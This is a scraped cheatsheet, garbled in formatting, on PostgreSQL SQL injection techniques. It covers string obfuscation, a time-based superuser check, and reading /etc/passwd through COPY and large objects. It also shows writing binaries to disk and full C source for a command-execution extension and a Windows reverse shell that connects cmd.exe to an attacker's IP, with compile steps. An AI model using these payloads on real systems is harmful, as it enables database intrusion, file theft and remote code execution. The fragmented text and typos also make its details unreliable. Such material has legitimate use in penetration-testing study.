title: Postgresql SQL Injection Techniques date: 2021-01-13 categories: [cheatsheets]
;
character.$
) can be used as well:SELECT 'Example String'
SELECT $$Example String$$;
SELECT $Tag$Example String$Tag$;
$\rightarrow$ A tag is optinal
CHR()
can be used to convert a decimal number to an ASCII character
||
CHR(65) || CHR(65) || CHR(65) [...]
SELECT convert_from(decode("<base64-string>", 'base64'), "utf-8");
SELECT current_setting('is_superuser');
pg_sleep()
function.SELECT case when (SELECT current_settings('is_superuser'))='on' then pg_sleep(10) end;
COPY <table_name> from <file_name>
COPY <table_name> to <file_name>
COPY TO
command, no table is needed.COPY (SELECT "Arbitrary-String") to "/tmp/myfile";
$\rightarrow$ This again, is also possible in the combinatino with the convert_from()
function to write base64 encoded data to a file (.so, .dll, .exe, ...).
CREATE TEMP TABLE input (content text);
COPY input FROM "/etc/passwd";
SELECT content FROM input;
DROP TABLE input;
Large Objects are used by postgresql to store files like PDFs or Images
Common large-object commands:
select lo_import("/etc/passwd"); # returns a LO ID
\lo_list # returns all the IDS from created Large Objects
# directly specify the Blob ID:
select lo_import("/etc/passwd", 1337);
pg_largeobject
Step 1:
SELECT lo_import('filepath', 1337);
Step 2:
update pg_largeobject set data=decode('77303074', 'hex') where LOID=1337 and pageno=0;
pageno
for each 2kB chunkStep 3:
lo_export()
command:SELECT lo_export(1337, '/tmp/destination.so');
Step 4:
\lo_unlink 1337
CREATE OR REPLACE FUCNTION test(text) RETURNS void AS 'Filename', 'test' LANGUAGE 'C' STRICT;
---------- ---- --------- -----
function name return library function name
& function type type path
To execute the function, use the following call:
SELECT test("parameter");
The extension needs an specific Postgres structure
It is also possible to load the extesion from a remote location, e.g on Windows:
\\192.168.X.X\extension.dll
#include <string.h>
#include "postgres.h"
#include "fmgr.h"
#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif
PG_FUNCTION_INFO_V1(pg_exec);
Datum pg_exec(PG_FUNCTION_ARGS) {
char* command = PG_GETARG_CSTRING(0);
PG_RETURN_INT32(system(command));
}
gcc -I$(pg_config --includedir-server) -shared -fPIC -o pg_exec.so pg_exec.c
If the installed postgresql version doesn't match the server version:
./configure
make
sudo make install
Use the library sources as input for GCC:
gcc -I/path/to/postgresql/src/include -shared -fPIC -o pg_exec.so pg_exec.c
#define _WINSOCK_DEPRECATED_NO_WARNINGS
#include "postgres.h"
#include <string.h>
#include "fmgr.h"
#include "utils/geo_decls.h"
#include <stdio.h>
#include <WinSock2.h>
#include "utils/builtins.h"
#pragma comment(lib, "ws2_32")
#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif
// Add a prototype marked PGDLLEXPORT
PGDLLEXPORT Datum connect_back(PG_FUNCTION_ARGS);
PG_FUNCTION_INFO_V1(connect_back);
WSADATA wsaData;
SOCKET s1;
struct sockaddr_in hax;
char ip_addr[16];
STARTUPINFO sui;
PROCESS_INFORMATION pi;
Datum
connect_back(PG_FUNCTION_ARGS) {
#define GET_TEXT(cstrp) DatumGetTextP(DirectFunctionCall1(textin, CStringGetDatum(cstrp)))
#define GET_STR(textp) DatumGetCString(DirectFunctionCall1(textout, PointerGetDatum(textp)))
WSAStartup(MAKEWORD(2, 2), &wsaData);
s1 = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, (unsigned int)NULL, (unsigned int)NULL);
hax.sin_family = AF_INET;
hax.sin_port = htons(port_as_integer);
hax.sin_addr.s_addr = inet_addr("<ip-here>");
WSAConnect(s1, (SOCKADDR*)&hax, sizeof(hax), NULL, NULL, NULL, NULL);
memset(&sui, 0, sizeof(sui));
sui.cb = sizeof(sui);
sui.dwFlags = (STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW);
sui.hStdInput = sui.hStdOutput = sui.hStdError = (HANDLE)s1;
CreateProcess(NULL, "cmd.exe", NULL, NULL, TRUE, 0, NULL, NULL, &sui, &pi);
PG_RETURN_VOID();
}